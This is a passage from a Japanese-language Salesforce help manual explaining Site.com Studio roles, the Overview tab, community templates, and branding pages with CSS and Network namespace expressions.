Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.comサイトのコンテン
ツのみを編集する
• [Site.com

Contributor ユー
ザ] 項目をユーザ詳細
ページで有効化

および

サイトレベルで割り当
てられた寄稿者ロール

[Site.com] タブを表示できない場合は、Site.com アプリケーションに移動します。
SalesforceヘッダーのForce.comアプリケーションメニューで使用できます。次に、
[Site.com] タブをクリックして、Site.com サイトのリストを参照します。このペー
ジでは、次の操作を実行できます。
• [新規] をクリックして、サイトを作成またはインポートします。ユーザ詳細

ページで [Site.com Publisher ユーザ] 項目が有効化されているユーザ
のみが、サイトの作成とインポートを行えます。

• ドロップダウンリストから定義済みのリストを選択することにより、表示す
るサイトを絞り込みます。[私のサイト] には、アクセスできるサイトとロー
ルが表示されます。[すべてのサイト] には、アクセス権のないサイトも含め、
組織内のすべてのサイトが表示されます。

• サイトの横にある [編集] をクリックして、Site.com Studio にサイトを開く。
• ブラウザウィンドウにどのように表示されるかをプレビューするには、サイ

トの横にある [プレビュー] をクリックします。
• サイトの横にある [ ]をクリックして、サイトを複製、エクスポートまたは

削除します。ユーザ詳細ページで [Site.com Publisher ユーザ] 項目が
有効化されている、サイト管理者またはデザイナロールのユーザのみが、サ
イトの複製、エクスポート、削除を行えます。サイトが公開されている場合
は、サイトをオフラインにするまでサイトを削除することはできません。

• サイトの状況を確認します。
– 開発中 — サイトはこれまで公開されたことがない。
– 公開済み — サイトは少なくとも 1 回公開されている。

• 列のタイトルをクリックして、サイトリストを並び替えます。デフォルトで
は、サイトは名前で並び替えられています。

メモ: Site.com のコミュニティサイトを作成、削除、複製することはできま
せん。

関連トピック:

サイト管理者またはデザイナとしての Site.com Studio の使用
寄稿者としての Site.com Studio の使用
Site.com Web サイトの計画および実装
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サイト管理者またはデザイナとしての Site.com Studio の使用

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ドメインを管理し、
Site.comサイトを公開する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
ロール

Site.com Studio では、サイト管理者およびデザイナ専用のサイト構築環境を提供
します。使用可能な多くの機能を使用して、次の操作を実行できます。
• サイトページに基づくページテンプレートを作成する。
• サイトページを作成する。
• 画像、ファイルなどのアセットをインポートする。
• サイトのスタイルシートの編集または新しいスタイルシートの作成を行う。
• ページまたはテンプレートを参照および編集する。
• サイトページにページ要素を追加して、特性と機能を提供する。
• データサービスを使用して、Salesforce オブジェクトに接続し、データを取得

および表示または登録する。
• 自分と他のユーザがサイト全体で再利用できるカスタムウィジェットを作成

する
• サイト訪問者が希望言語を選択できるマルチ言語サイトを作成する
• イベントの作成を行い Web サイトに直観的なアニメーション効果を追加す

る。
• サイトのページ、ページテンプレート、フォルダ、アセットへのサイト訪問

者のアクセスを制御する IP 制限を追加する
• URL リダイレクトを追加して、サイトのコンテンツが移動したことをユーザ

および検索エンジンに通知する。
• サイトコンテンツを編成するためのフォルダの作成を行う。
• サイトをプレビューするか、匿名のプレビューリンクを生成して他のユーザ

に送信する。
• サイトのドメイン情報を管理する。
• ライブサイトに最新の変更を公開する。
• サイトの複製、インポート、およびエクスポートする。

メモ:

• デザイナは、ドメインの管理またはコンテンツの公開を行えません。
• Site.com のコミュニティサイトを作成、削除、複製することはできませ

ん。

関連トピック:

サイト管理者およびデザイナの [概要] タブについて
Site.com Web サイトの計画および実装
寄稿者の Studio ビューの設定
[Site.com] タブの概要
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寄稿者としての Site.com Studio の使用

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトのコンテン
ツのみを編集する
• [Site.com

Contributor ユー
ザ] 項目をユーザ詳細
ページで有効化

および

サイトレベルで割り当
てられた寄稿者ロール

Site.com Studioは寄稿者専用のコンテンツ編集環境で、次の操作を実行できます。
• ページを開いて編集する。
• サイトページを作成する (サイト管理者またはデザイナがページの作成を有

効化している場合)。
• ページテキストを編集する。
• 画像およびハイパーリンクをページに追加する。
• ページ要素をページに追加する。
• 画像、ファイルなどのアセットをインポートする。
• ブラウザウィンドウでサイトをプレビューする。

関連トピック:

寄稿者の [概要] タブについて
Site.com Web サイトの計画および実装
[Site.com] タブの概要
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サイト管理者およびデザイナの [概要] タブについて

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition
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ユーザ権限

Site.comサイトを構築、編
集、および管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ドメインを管理し、
Site.comサイトを公開する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
ロール

ユーザロールを管理する
• [Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
ロール

または

「ユーザの管理」

サイト管理者またはデザイナの場合、Site.com Studio でサイトを開くと、そのサ
イトは [概要] タブで開きます。このタブでは、サイトのコンポーネントにアク
セスして管理したり、サイトのプロパティを設定したりできます。

5997

コミュニティビルダー (Site.com)コードではなくてクリックによる Salesforce の拡張



• [概要] タブのビュー (1) を選択すると、そのコンテンツ (2) を表示できます。
– すべてのサイトコンテンツ — サイトコンテンツを編成するためのフォルダの作成を行います。この

ビューでは、ページ、テンプレート、およびスタイルシートの作成、アセットのインポートも行えま
す。

– サイトページ — サイトページの作成、ページを開いて編集、ページのオプションへのアクセス、サイ
トマップのリンクの作成、およびサイトマップの再編成を行います。また、デフォルトのサイトマップ
ビュー ( ) とリストビュー ( ) を切り替えることもできます。

– ページテンプレート — サイトページの基盤となるページテンプレートの作成、既存のテンプレートを
開いて編集、およびテンプレートのオプションへのアクセスを行います。

– スタイルシート — サイトのスタイルシートの編集または新しいスタイルシートの作成を行います。
– アセット — 画像やファイルなどのアセットのインポートおよび管理を行います。
– ウィジェット — 自分と他のユーザがサイト全体で再利用できるカスタムウィジェットを作成します。
– ごみ箱 — 削除された項目を取得します。ページ、テンプレート、スタイルシート、またはアセットを

削除すると、ごみ箱に移動します。削除された項目は無期限でごみ箱に保持されます。項目を元に戻す
と、元の場所に戻されます。元の場所が存在しない場合、最上位のルートディレクトリに復元されま
す。

– 変更履歴 — 最近公開されたファイルに関する情報を表示します。
– サイトの設定 — サイトプロパティの設定、IP 制限の追加、URL リダイレクトの作成、ドメイン情報の管

理、ユーザロールの管理、サイト言語の追加および管理を行います。
• ツールバー (3) を使用して次の操作を行えます。

– 画像、ファイルなどのアセットをインポートする。
– 最新の変更を公開する。
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– サイトをプレビューするか、匿名のプレビューリンクを生成して他のユーザに送信する。
– サイトの複製、サイトのエクスポート、Sandbox のバージョンを使用したサイトの上書き、新規サイト

の作成を行う ( )。
• サイトのプルダウンメニュー (4) を使用して、次の操作を行えます。

– 最近アクセスしたサイトを開く。
– 寄稿者に表示されるとおりにSite.com Studioを表示し、正しくビューが設定されていることを確認する。
– Site.com Studio を終了し、Salesforce に戻る。
– 新規サイトを作成する。
– サイトを複製する。

メモ: Site.com のコミュニティサイトを作成、削除、複製することはできません。

関連トピック:

サイト管理者またはデザイナとしての Site.com Studio の使用
Site.com Web サイトの計画および実装
コミュニティビルダー (Site.com)
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寄稿者の [概要] タブについて

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

Site.comサイトのコンテン
ツのみを編集する
• [Site.com

Contributor ユー
ザ] 項目をユーザ詳細
ページで有効化

および

サイトレベルで割り当
てられた寄稿者ロール

寄稿者の場合、Site.com Studio でサイトを開くと、そのサイトは [概要] タブに開
きます。[概要] タブでは、サイトのページやコンテンツにアクセスして編集した
り、画像およびファイルをインポートしたりできます。
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• [概要] タブのビュー (1) を選択すると、そのコンテンツ (2) を表示できます。
– すべてのサイトコンテンツ — サイトのページ、画像、およびファイルをすべて表示します。
– サイトページ — ページの参照と編集またはサイトページの作成 (使用可能な場合) を行います。
– アセット — 画像やファイルなどのアセットのインポートを行います。
– サイトの設定 — サイトのユーザロールを管理します。これは、「ユーザの管理」権限がある場合にの

み使用できます。
• ツールバー (3) を使用して次の操作を行えます。

– 画像、ファイルなどのアセットをインポートする。
– ブラウザウィンドウでサイトをプレビューする。

• サイトのプルダウンメニュー (4) を使用して、次の操作を行えます。
– 最近アクセスしたサイトを開く。
– Site.com Studio を終了し、Salesforce に戻る。

関連トピック:

寄稿者としての Site.com Studio の使用
コミュニティビルダー (Site.com)

テンプレートのないコミュニティビルダー (Site.com) の使用
各コミュニティには、関連付けられた Site.com サイトが 1 つあり、ブランド情報入りカスタムページをコミュ
ニティに追加できます。デフォルトでは、Site.com ページは公開され、ログインは不要ですが、コミュニティ
メンバーのみがアクセスできる非公開ページを作成することもできます。
Site.com の使用についての詳細は、オンラインヘルプを参照してください。

ご利用になる前に
「コミュニティの作成および設定」権限を持つコミュニティユーザには、コミュニティの Site.com サイトへの
サイト管理者のフルアクセス権が自動的に付与されます。権限のないコミュニティユーザがサイトを編集でき
るようにするには、Site.com Publisher または Site.com Contributor 機能ライセンスを購入して割り当て、サイトレベ
ルでユーザロールを割り当てる必要があります。

ヒントと検討事項
• 「コミュニティの作成および設定」権限を持つコミュニティユーザには、コミュニティのSite.comサイトの

サイト管理者ロールが割り当てられます。ただし、これらのユーザは、Site.com Studio の [概要] タブの [ユー
ザロール] セクションには表示されません。

• Site.com のコミュニティサイトを作成、削除、複製することはできません。
• データの繰り返しやフォームなどのデータバインドコンポーネントを使用している場合、リストされるオ

ブジェクトをサイト訪問者が使用できない場合があります。認証された訪問者の場合、公開ページおよび
非公開ページのオブジェクトアクセスは、各自のユーザプロファイルで制御されます。認証されていない
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訪問者の場合、公開ページのオブジェクトアクセスは、サイトのゲストユーザプロファイルで制御されま
す。

• Site.comの認証されたコミュニティページにフォームを追加する場合、[所有者 ID] 項目を必要とするSalesforce

オブジェクトに現在のユーザを設定します。(デフォルトのゲストユーザではなく) 現在のユーザを設定す
ると、フォームの送信時に認証されたユーザを識別できます。現在のユーザを [所有者 ID] 項目に設定する
には、フォームの項目を選択し、[プロパティ] ペインの [項目プロパティ] にある [設定]をクリックします。
次に、ソースとして [グローバルプロパティ] を選択し、値として [現在のユーザ ID] を選択します。

• [サイトの設定] で Site.com コミュニティサイトに指定するホームページ、404 ページ、ログインページ、お
よびセルフ登録ページでは、Site.com コミュニティサイトのデフォルトページを設定します。[管理ページ]

および [管理ログイン & 登録] の [コミュニティ管理] で別の URL を指定しない限り、これらのデフォルト URL

が使用されます。コミュニティのエラーページは、Force.com の [設定] の [エラーページ] で指定します。
• Site.comコミュニティサイトが無効な場合、ユーザは、[コミュニティ管理]の [ページ] で定義した [サービス

は利用できません] ページにリダイレクトされます。
• 寄稿者のビューは、デフォルトでSite.comコミュニティサイトでは使用できません。ただし、Site.com Contributor

ライセンスを使用して、特定のユーザに寄稿者アクセス権を付与できます。詳細は、Site.comヘルプの「機
能ライセンスについて」を参照してください。または、サイトの URL に ?iscontrib を追加することで、
ユーザが寄稿者として Site.com コミュニティサイトをプレビューできます。例:
https://sitestudio.na1.force.com/?iscontrib

Site.com を使用したコミュニティのカスタマイズ
使用すべきコミュニティテンプレートは?

コミュニティテンプレートにより、顧客にタブレット、モバイルデバイス、またはデスクトップで視覚的
および機能的に同じ環境を提供するコミュニティを作成できます。
ブランド情報入りページの作成の概要
コミュニティサイトを作成すると、Salesforceで自動的に新しいSite.comサイトが作成されて、コミュニティ
に関連付けられます。
Site.com 認証の概要
現在のコミュニティユーザ情報の表示
Site.com デザイナがコミュニティサイトの認証ページを作成する場合、CurrentUser 名前空間式にアクセ
スすることで現在のユーザ情報を表示できます。
現在のユーザ情報の表示に使用できる式
Site.com ページの URL の決定
コミュニティタブへの認証された Site.com ページの追加
非公開 Site.com ページを作成したら、ページをコミュニティのタブに追加できます。
コミュニティの Site.com ページへの Chatter ニュースフィードまたはグループフィードの追加
Chatterニュースフィードを使用して、Chatterフィードをサイトページに表示したり、Chatterグループフィー
ドを使用して、特定のグループのフィードを表示したりします。
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コミュニティの Site.com における HTML ページキャッシュのパフォーマンスの向上
HTML キャッシュを使用すると、生成されたページマークアップを再読み込みする頻度を制御することで、
コミュニティの Site.com サイトのパフォーマンスとページ表示を向上することができます。

関連トピック:

コミュニティビルダーまたは Force.com サイトの選択
Site.com を使用したコミュニティのカスタマイズ
Salesforce Communities の概要

Site.com を使用したコミュニティのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

コミュニティのカスタム
ページを構築、編集、管
理する
• 「コミュニティの作成

および設定」

または
[Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

コミュニティユーザは、Site.comを使用して、コミュニティのブランド情報入り
カスタムページを作成できます。コミュニティのカスタムページを作成する方
法は数多くありますが、これに伴う一般的なフェーズをいくつか示します。
• アセットをインポートする — カスタムページで使用するアセット、画像、

ファイルを収集します。アセットをSite.com Studioにインポートします。イン
ポートされたアセットは [概要] タブの [アセット] セクションに表示されま
す。

• ブランド情報入りページを作成する — ブランド情報入りページを最も速く
簡単に作成する方法は、コミュニティテンプレートを使用することです。コ
ミュニティテンプレートは、すべての Site.com コミュニティサイトに自動的
に含まれます。コミュニティテンプレートに基づいて新しいページを作成す
る場合、ページにはコミュニティのブランド化されたすべてのスタイル (コ
ミュニティのヘッダーやフッターなど) が含まれています。コミュニティペー
ジのデザインをさらに細かく制御する場合、独自のページテンプレートを作
成して、[ページ要素] ペインの [ウィジェット] セクションからコミュニティ
ヘッダーおよびフッターをそのテンプレートにドラッグし、他のコミュニ
ティスタイルを追加します。

メモ:  Spring '15 以降、新しいコミュニティでコミュニティテンプレート
は使用できなくなります。すでにコミュニティテンプレートに基づく
Site.comコミュニティがある場合、そのコミュニティは機能し続けます。
コミュニティの作成についての詳細は、「コミュニティの作成」 (ペー
ジ 3893)を参照してください。

• ブランド化されたコミュニティスタイルを使用する — CommunityBranding スタ
イルシートを使用するか、独自のカスケードスタイルシート (CSS) でブランド
化されたコミュニティスタイルを作成して、カスタムページのデザインを開
発します。CSS でもまったく作業がはかどらない場合は、[スタイル] ペインで
スタイルを作成および管理するための簡単で視覚的な方法が提供されます。
または、CSS の専門家で、すぐにコード作成を開始したい場合は、独自のス
タイルシートでコミュニティスタイルのコードを手動で作成できます。
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• 公開ページを作成する — ベースとしてテンプレートを使用すると、ページテンプレートのすべての要素を
自動的に継承するページをすばやく作成できます。また、全体のデザインには従わないスタンドアロンペー
ジを必要とする場合、代わりに空白ページを作成できます。

• ページを非公開にする — デフォルトでは、Site.com Studio で作成したページはすべて公開されます。ただ
し、ページを非公開にして、コミュニティにログインしているユーザのみがアクセスできるようにするこ
ともできます。

• 機能、ページ要素、コミュニティウィジェットを追加する — Site.com の事前に作成されたページ要素を使
用して、ナビゲーションメニュー、画像、コンテンツブロック、コミュニティウィジェットなどの機能を
追加します。データの繰り返しやデータテーブルを使用して、組織のオブジェクトからデータを取得して
サイトのページに動的に表示します。または、フォームを使用して、訪問者からデータを収集して送信し
ます。

• コンテンツを追加および編集する — このフェーズで、通常、ページがテキスト、画像、動画、ハイパーリ
ンクなどのコンテンツを追加および編集できる状態になっています。また、作業をするとき、必要な画像
またはファイルをアップロードできます。

• ページを確認およびテストする — ページへの変更のテストは、開発サイクル全体で実行されます。ブラウ
ザで期待どおりに表示されるかを確認するため、必ず変更をプレビューする必要があります。また、稼働
させる前に完成したページをレビューできるようにプレビューリンクをレビュー担当者に送信できます。

• ページを公開する — テストの完了後、変更を公開して、コミュニティでページを使用できるようにするこ
とができます。

• 認証ページをコミュニティのタブに追加する — ページのテストと公開が完了したので、認証ページを使用
する場合、最後の手順としてコミュニティのタブにページを追加します。

• Sandbox で Site.com を使用する — Sandbox で Site.com を使用できるようになりました。本番組織から Sandbox

コピーを作成するときに、Site.com サイトを含めることができます。また、上書き機能を使用して、Sandbox

サイトを本番組織にコピーし直すこともできます。

関連トピック:

テンプレートのないコミュニティビルダー (Site.com) の使用
Salesforce Communities の概要
コミュニティのブランド設定

使用すべきコミュニティテンプレートは?

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コミュニティテンプレートにより、顧客にタブレット、モバイルデバイス、ま
たはデスクトップで視覚的および機能的に同じ環境を提供するコミュニティを
作成できます。
顧客は、時間や場所を問わず会社とやりとりできる簡単な方法を求めています。
セルフサービスコミュニティでは、問題の生じた顧客が必要な情報に簡単にア
クセスできます。Koa および Kokua テンプレートで構築されたコミュニティでは、
顧客がナレッジ記事を使用して情報を検索し、必要に応じてサポートに問い合
わせることができます。カスタマーサービス (Napili) テンプレートを使用して作
成したコミュニティで、記事を検索したり、質問をしたり、コミュニティから
不特定多数のユーザから回答を得たりすることができます。それでも必要な情
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報が見つからない場合は、ログインすることなくサポートに問い合わせることができます。セルフサービステ
ンプレートによって、常に一貫性のあるユーザの操作性でさまざまなデバイスにコミュニティを拡張できま
す。

ウィザードでは、テンプレートを選択した後、説明に従ってトピックおよびデータカテゴリ設定などの初期設
定を行うことができます。
• Kokua は、データカテゴリ別に分類されたナレッジ記事をユーザに表示する、視覚的に豊かなセルフサービ

ステンプレートです。ユーザはケースを送信してエージェントのサポートを得ることもできます。
• Koa は、モバイルデバイス用に最適化された、テキストベースのセルフサービステンプレートです。ユーザ

はテキスト表記されたデータカテゴリで記事を検索して参照し、探している内容が見つからない場合はサ
ポートに問い合わせることができます。

• カスタマーサービス (Napili) テンプレートにより、顧客はコミュニティへ質問を投稿したり、記事の検索や
表示をしたりすることができます。必要な情報が見つからない場合は、サポートエージェントに問い合わ
せることができます。

コミュニティビルダーを使用すると、コミュニティを非常に簡単にカスタマイズできます。コミュニティに関
する情報を含めるためのコンポーネントをいくつか編集し、ブランド設定を拡張するために画像を追加すれば
完了です。コーディングの必要はありません。さらに多くのカスタム操作が必要な場合は、カスタムページの
作成、ページへのコンポーネントの追加、カスタム Lightning コンポーネントの使用、および追加のSalesforceオ
ブジェクトの公開を行うことができます。
コミュニティはログインユーザのプロファイル言語で自動的に表示されるため、言語ごとに個別のコミュニ
ティを作成して維持する必要はありません。コミュニティビルダーを使用すれば、コミュニティでゲストユー
ザへの言語サポートを拡張できます。ゲストユーザの言語がサポートされていない場合は、各コミュニティ
ページの言語ピッカーから言語を選択できます。すべての言語はコミュニティ内で管理されているので、言語
ごとに個別のコミュニティを作成し管理する必要はありません。
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コミュニティでのページの設定とカスタマイズ
ページは、コミュニティのビルディングブロックです。ユーザがコミュニティを表示して操作する方法を
制御します。

関連トピック:

コミュニティの作成
コミュニティテンプレートで使用できる機能の比較
コミュニティでのページの設定とカスタマイズ

6006

コミュニティビルダー (Site.com)コードではなくてクリックによる Salesforce の拡張



コミュニティでのページの設定とカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

コミュニティを作成、カ
スタマイズ、公開する
• 「コミュニティの作成

および管理」

または
[Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Communitiesを有効化する
• 「アプリケーションの

カスタマイズ」

記事タイプと記事アク
ションを作成する
• 「Salesforce ナレッジ

の管理」

データカテゴリを作成す
る
• 「データカテゴリの管

理」

ページは、コミュニティのビルディングブロックです。ユーザがコミュニティ
を表示して操作する方法を制御します。
各ページには、ケースを開いたり記事を検索したりするなど、作業や機能を基
に整理された一連のコンポーネントがあります。事前設定された各コミュニティ
テンプレートを構成するページは、設定する必要がほとんどなくすぐに使用で
きます。また、ページを作成したり、必要に応じて既存のページに他のコンポー
ネントをドラッグアンドドロップしたりできます。カスタム Lightning コンポー
ネントを作成すると、ページの左側にある使用可能なコンポーネントのリスト
に表示されます。
ページの編集では、情報の表示方法のプロパティ設定、コンポーネントの移動、
または必要のないコンポーネントの削除ができます。

メモ: 無効なページを削除できますが、ページの名前は変更できません。

たとえば、カスタマーサービス (Napili)テンプレートのホームページには、コミュ
ニティメンバーがコミュニティのコンテンツの概要をすばやく把握できるコン
ポーネントが含まれています。これらには、顧客が記事の探索、ディスカッショ
ンの参照、情報の検索、質問、およびサポートへの問い合わせを行えるように
するコンポーネントが含まれています。ケースの申請を避けることがコミュニ
ティを作成した目的で、顧客がケースを申請しないようにする場合は、サポー
トに問い合わせるためのコンポーネントを削除できます。
ページを編集するには、コミュニティビルダーに移動します。
1. [ページ] ドロップダウンから、編集するページを選択します。
2.

をクリックしてページエディタを開きます。
3. 編集するコンポーネントを選択します。
4. プロパティエディタで、コンポーネントのプロパティを編集します。
5. ページにコンポーネントを追加するには、単に [Lightning コンポーネント] メ

ニューからコンポーネントをドラッグし、ページの目的の場所にドロップし
ます。

6. ページからコンポーネントを削除するには、コンポーネントの上にマウスポ
インタを置き、 をクリックします。

7. ページの設定を終了したら、[公開] をクリックします。

関連トピック:

使用すべきコミュニティテンプレートは?
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ブランド情報入りページの作成の概要

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

コミュニティサイトを作成すると、Salesforceで自動的に新しい Site.comサイトが
作成されて、コミュニティに関連付けられます。
Site.com コミュニティサイトを使用して、次のことができます。
• ブランド化されたコミュニティテンプレートを使用して、コミュニティの

Site.com ページを作成する。

メモ:  Spring '15 以降、新しいコミュニティでコミュニティテンプレート
は使用できなくなります。すでにコミュニティテンプレートに基づく
Site.comコミュニティがある場合、そのコミュニティは機能し続けます。
コミュニティの作成についての詳細は、「コミュニティの作成」 (ペー
ジ 3893)を参照してください。

• CommunityBrandingスタイルシートを使用して、CSS で Site.comページのス
タイルを設定する。

• 多数の使用可能な [ネットワーク] 名前空間式を使用して、独自のコミュニティ CSS スタイルを作成する。

コミュニティテンプレートに基づいたブランド情報入りページの作成
Site.comコミュニティサイトには、新しいコミュニティサイトページの作成に使用できるブランド化された
テンプレートが含まれています。
CommunityBranding スタイルシートのコミュニティスタイルの適用
CommunityBranding スタイルシートには、[ネットワーク] 名前空間式から作成された一連の CSS スタイ
ルが含まれています。
CSS スタイルシートでのコミュニティスタイルの作成
ブランド化されたコミュニティスタイルは、[ネットワーク]名前空間式により、Site.comコミュニティサイ
トで使用できます。
コミュニティのブランド設定で使用できる式
CommunityBranding スタイルシートの表示
CommunityBranding スタイルシートには、コミュニティのブランド化された一連のスタイルが含まれて
います。
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コミュニティテンプレートに基づいたブランド情報入りページの作成

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

コミュニティのカスタム
ページを構築、編集、管
理する
• 「コミュニティの作成

および設定」

または
[Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

Site.comコミュニティサイトには、新しいコミュニティサイトページの作成に使
用できるブランド化されたテンプレートが含まれています。
Community Template のスタイルは、すべての新しい Site.com コミュニティサ
イトに自動的に含まれる CommunityBranding スタイルシートから取得されま
す。
Community Templateからブランド情報入りページを作成する手順は、次のと
おりです。
1. Site.com の [概要] タブで、[サイトページ] にマウスポインタを合わせて、[新

規] をクリックします。
2. 新しいコミュニティページの名前を入力します。ページ名には、空白や、

#、?、または @ などの特殊文字を含めることができません。
3. ページテンプレートに Community Template が選択されていることを確認

します。
4. [作成]をクリックします。

メモ:

• コミュニティのブランド設定オプション (ヘッダー、フッター、ページ
の色など) は、[コミュニティ管理] ページの [管理] > [ブランド] セクショ
ンで設定します。

• 空のコミュニティヘッダーおよびフッター、または画像のみを含むヘッ
ダーは、Site.comでは機能しません。Community TemplateからSite.com

ページを作成する場合や、[ネットワーク]名前空間式を使用してコミュ
ニティヘッダーおよびフッターを作成する場合、カスタマイズした HTML

ブロックをコミュニティヘッダーおよびフッターに指定してください。
• コミュニティヘッダーおよびフッターは、Site.com コミュニティページ

のウィジェットとして使用できます。コミュニティヘッダーまたはフッ
ターを空白のページに追加するには、[ページ要素] ペインの [ウィジェッ
ト] セクションからそのページにドラッグします。

関連トピック:

ブランド情報入りページの作成の概要
CommunityBranding スタイルシートの表示
Site.com ページテンプレートの概要
Site.com のページテンプレートの作成

6009

コミュニティビルダー (Site.com)コードではなくてクリックによる Salesforce の拡張



CommunityBranding スタイルシートのコミュニティスタイルの適用

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

コミュニティのカスタム
ページを構築、編集、管
理する
• 「コミュニティの作成

および設定」

または
[Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

CommunityBranding スタイルシートには、[ネットワーク] 名前空間式から作
成された一連の CSS スタイルが含まれています。
CommunityBrandingスタイルシートは、Community Templateに添付されて
おり、テンプレートのブランド化されたデザインに対応します。
CommunityBranding スタイルシートのスタイルにアクセスして、任意のペー
ジの要素に直接適用できます。
CommunityBranding スタイルシートを使用してコミュニティスタイルを適用
する手順は、次のとおりです。
1. ブランド設定する Site.com ページに CommunityBranding スタイルシートが

添付されていることを確認します。

メモ: Community Template に基づいたすべての Site.com ページには、
自動的に CommunityBranding スタイルシートが添付されます。

2. スタイルを設定するページの要素を選択します。
3. [スタイル] ペインを開きます。
4. クラスを選択します。
5. 「brand」と入力します。

CommunityBrandingスタイルシートの使用可能なすべてのスタイルのリス
トが表示されます。

6. 適用するスタイルを選択します。

関連トピック:

ブランド情報入りページの作成の概要
コミュニティテンプレートに基づいたブランド情報入りページの作成
CommunityBranding スタイルシートの表示
CSS スタイルシートの作成と使用
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CSS スタイルシートでのコミュニティスタイルの作成

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

ユーザ権限

コミュニティのカスタム
ページを構築、編集、管
理する
• 「コミュニティの作成

および設定」

または
[Site.com

Publisher ユーザ]
項目をユーザ詳細ペー
ジで有効化

および

サイトレベルで割り当
てられたサイト管理者
またはデザイナロール

ブランド化されたコミュニティスタイルは、[ネットワーク]名前空間式により、
Site.com コミュニティサイトで使用できます。
使用可能な [ネットワーク]名前空間式の完全なリストにアクセスして、任意の
CSS スタイルシートで新しいコミュニティスタイルを作成できます。式を CSS

ルールに追加すると、Site.comによりコミュニティで定義されたスタイルが取り
込まれ、ページに表示されます。
CSS スタイルシートでコミュニティスタイルを作成する手順は、次のとおりで
す。
1. 既存のスタイルシートを開くか、新しいスタイルシートを作成します。
2. [スタイルシートコードを編集] をクリックします。
3. 使用可能な任意の [ネットワーク] 式を使用して、新しいコミュニティスタ

イルルールを追加します。ID スタイルとクラススタイルの両方を作成できま
す。次に例を示します。

#main_content_block {
background-color: {!Network.primaryColor};
color: {!Network.primaryComplementColor};

}
.secondary_content_blocks{
background-color: {!Network.zeronaryColor};
color: {!Network.zeronaryComplementColor};

}

4. 新しいスタイルを他のページの要素に適用します。
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メモ: コミュニティスタイルを含むスタイルシートは、スタイルが設定されている要素のあるページに添
付する必要があります。

関連トピック:

ブランド情報入りページの作成の概要
コミュニティのブランド設定で使用できる式
CSS スタイルシートの作成と使用

コミュニティのブランド設定で使用できる式

エディション

使用可能なエディション:
Salesforce Classic

購入可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

使用可能なエディション
(制限付き) : Developer
Edition

このページにリストされている [ネットワーク]名前空間式を使用して、独自の
コミュニティスタイルを作成できます。
コミュニティのブランド設定オプション (ヘッダー、フッター、ページの色など)

は、[コミュニティ管理] ページの [管理] > [ブランド] セクションで設定します。

メモ:

• 空のコミュニティヘッダーおよびフッター、または画像のみを含むヘッ
ダーは、Site.comでは機能しません。Community TemplateからSite.com

ページを作成する場合や、[ネットワーク]名前空間式を使用してコミュ
ニティヘッダーおよびフッターを作成する場合、カスタマイズした HTML

ブロックをコミュニティヘッダーおよびフッターに指定してください。
• コミュニティヘッダーおよびフッターは、Site.com コミュニティページ

のウィジェットとして使用できます。コミュニティヘッダーまたはフッ
ターを空白のページに追加するには、[ページ要素] ペインの [ウィジェッ
ト] セクションからそのページにドラッグします。

対応するコミュニティブランド設定ページの要素Network 式

コミュニティヘッダーのカスタムコンテンツ。{!Network.header}

コミュニティフッターのカスタムコンテンツ。{!Network.footer}

コミュニティヘッダーの背景色。{!Network.zeronaryColor}

zeronaryColor で使用されるフォントの色。{!Network.zeronaryComplementColor}

